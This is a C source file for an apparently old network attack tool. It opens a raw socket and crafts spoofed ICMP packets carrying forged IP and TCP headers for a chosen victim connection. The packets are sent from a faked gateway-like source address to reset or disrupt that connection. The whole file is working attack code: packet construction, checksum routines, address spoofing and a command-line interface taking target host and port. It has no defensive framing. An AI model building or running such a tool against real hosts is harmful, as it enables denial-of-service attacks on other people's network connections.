#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>


static int thecode;

u_short cksum( u_short *, int );
void      sendkill( char *, int, char *, int );


u_short cksum( u_short *buf, int nwords ) {
        unsigned long sum;

        for ( sum = 0; nwords > 0; nwords -- )
                sum += *buf++;
        sum = ( sum >> 16) + ( sum & 0xffff );
        sum += ( sum >> 16 );
        return ~sum ;
}

void resolve_address(struct sockaddr * addr, char *hostname, u_short port) {
struct  sockaddr_in *address;
struct  hostent     *host;

address = (struct sockaddr_in *)addr;
(void) bzero( (char *)address, sizeof(struct sockaddr_in) );
/* fill in the easy fields */
address->sin_family = AF_INET;
address->sin_port = htons(port);
/* first, check if the address is an ip address */
address->sin_addr.s_addr = inet_addr(hostname);
if ( (int)address->sin_addr.s_addr == -1) {
        /*it wasn't.. so we try it as a long host name */
        host = gethostbyname(hostname);
   if (host) {
                /* wow.  It's a host name.. set the fields */
                /* ?? address->sin_family = host->h_addrtype; */
                bcopy( host->h_addr, (char *)&address->sin_addr,
                host->h_length);
                }
        else {
                /* oops.. can't find it.. */
                puts("Couldn't resolve address!!!");
                exit(-1);
                }
        }
/* all done. */
}

#define PACKETSIZE ( sizeof( struct iphdr ) + sizeof( struct icmphdr ) +  \
                                                        sizeof( struct iphdr ) + 8 )
#define ICMPSIZE   ( sizeof( struct icmphdr ) + sizeof( struct iphdr ) + 8 )
#define offsetTCP  ( sizeof( struct iphdr ) + sizeof( struct icmphdr ) + \
                                                        sizeof( struct iphdr ) )
#define offsetIP   ( sizeof( struct iphdr ) + sizeof( struct icmphdr ) )
#define offsetICMP ( sizeof( struct iphdr ) )
#define offsetRIP  ( 0 )

void    sendkill( char * fromhost, int fromport, char * tohost, int toport ) {
        char    *       packet;
        static struct sockaddr_in       local, remote;
        static int        sock = 0;

        if ( !sock ) {
                resolve_address( (struct sockaddr *)&local, fromhost, fromport );
                resolve_address( (struct sockaddr *)&remote, tohost, toport );
                sock = socket( AF_INET, SOCK_RAW, 255 );
                if ( sock == -1 ) {
                        perror("Getting raw socket");
                        exit(-1);
                }
        }
        /*
         .  Get memory for the packet
        */
        packet = (char *)malloc( PACKETSIZE );
        if ( !packet ) {
                perror("Getting space for packet");
                exit(-1);
        }

        /*
         . Fill in our pretended TCP header
    . note - since this was allegedly an outgoing packet...  we have to
         . flip the source and destination stuff
        */
        {
        struct tcphdr * fake_tcp;
        fake_tcp = ( struct tcphdr *)( packet + offsetTCP );
        fake_tcp->th_dport = htons(fromport);
        fake_tcp->th_sport = htons(toport);
        fake_tcp->th_seq         = 0x1984;
        }
        /*
         . fill in the fake IP header.
    . the same reversal as above still applies.. the packet was sent to
         . our machine ( yeah right )
        */
        {
        struct iphdr * fake_ip;
        fake_ip = ( struct iphdr *) ( packet + offsetIP );

        /* these fields are irrelevant -- never checked?? */
        fake_ip->version = 4;
        fake_ip->tot_len = htons(0x2C); /* this was much longer.. once */
        fake_ip->tos = 0;
        fake_ip->id = htons( getpid() & 255 );
        fake_ip->frag_off = 0;
        fake_ip->ttl = 24; /* not so long to live anymore */
        fake_ip->check = 3805;  /* this CAN'T be checked..so do something != 0 */

        /* these fields are used ..  */
        fake_ip->ihl = 5;
        bcopy( (char *)&local.sin_addr, &fake_ip->daddr, sizeof( fake_ip->daddr ) );
        bcopy( (char *)&remote.sin_addr,&fake_ip->saddr, sizeof( fake_ip->saddr ) );
        fake_ip->protocol = 6;  /* a TCP packet */
        }

        /*
         . fill in the ICMP header
         . this is actally rather trivial, though don't forget the checksum
        */
        {
        struct icmphdr * icmp;
        icmp = ( struct icmphdr *)(packet + offsetICMP );

        icmp->type = 4;
        icmp->code = thecode; /* this will generate an error message */
        icmp->un.gateway = 0;
        icmp->checksum = 0;
        icmp->checksum = cksum( (u_short *)(icmp),  ICMPSIZE >> 1 );
        }
        /*
         . finally, fill in the IP header
         . this is almost the same as above.. though this time, it is the
    . ip header that really takes the packet places. make sure the
         . checksum and addresses are right
        */
        {
        struct iphdr * real_ip;
        real_ip = ( struct iphdr *)packet;

        real_ip->version = 4;
        real_ip->ihl = 5;
        real_ip->tot_len = htons(PACKETSIZE);
        real_ip->tos = ( 7 << 5) | 4;
        real_ip->ttl = 255;
        real_ip->protocol = 1;
        real_ip->check = 0;
        real_ip->id = htons( 3 );
        real_ip->frag_off = 0;
   bcopy( (char *)&local.sin_addr, &real_ip->saddr, sizeof( real_ip->saddr ) );
   bcopy( (char *)&remote.sin_addr,&real_ip->daddr, sizeof( real_ip->daddr ) );
        real_ip->saddr = htonl( ntohl(real_ip->daddr ) & 0xffffff00L  );
        real_ip->check = cksum( (u_short  *)packet, sizeof( struct iphdr ) >> 1 );
        }
        /*
    .
         . and now.. finally...  send it out into the net
        */
        {
        int result;

        result = sendto( sock, packet, PACKETSIZE, 0,
                        (struct sockaddr *)&remote, sizeof( remote ) );
        if ( result != PACKETSIZE ) {
                        perror("sending packet" );
        }

        }
}

main( int argc, char ** argv ) {
        int i,codes ;

        if ( argc != 6 ) {
        puts("usage: <from host><from port> <target host><target port> <icmp type>" );

                exit(-1);
        }

        thecode = atoi(argv[5]);
        sendkill( argv[1], atoi(argv[2]), argv[3], atoi(argv[4]));
}
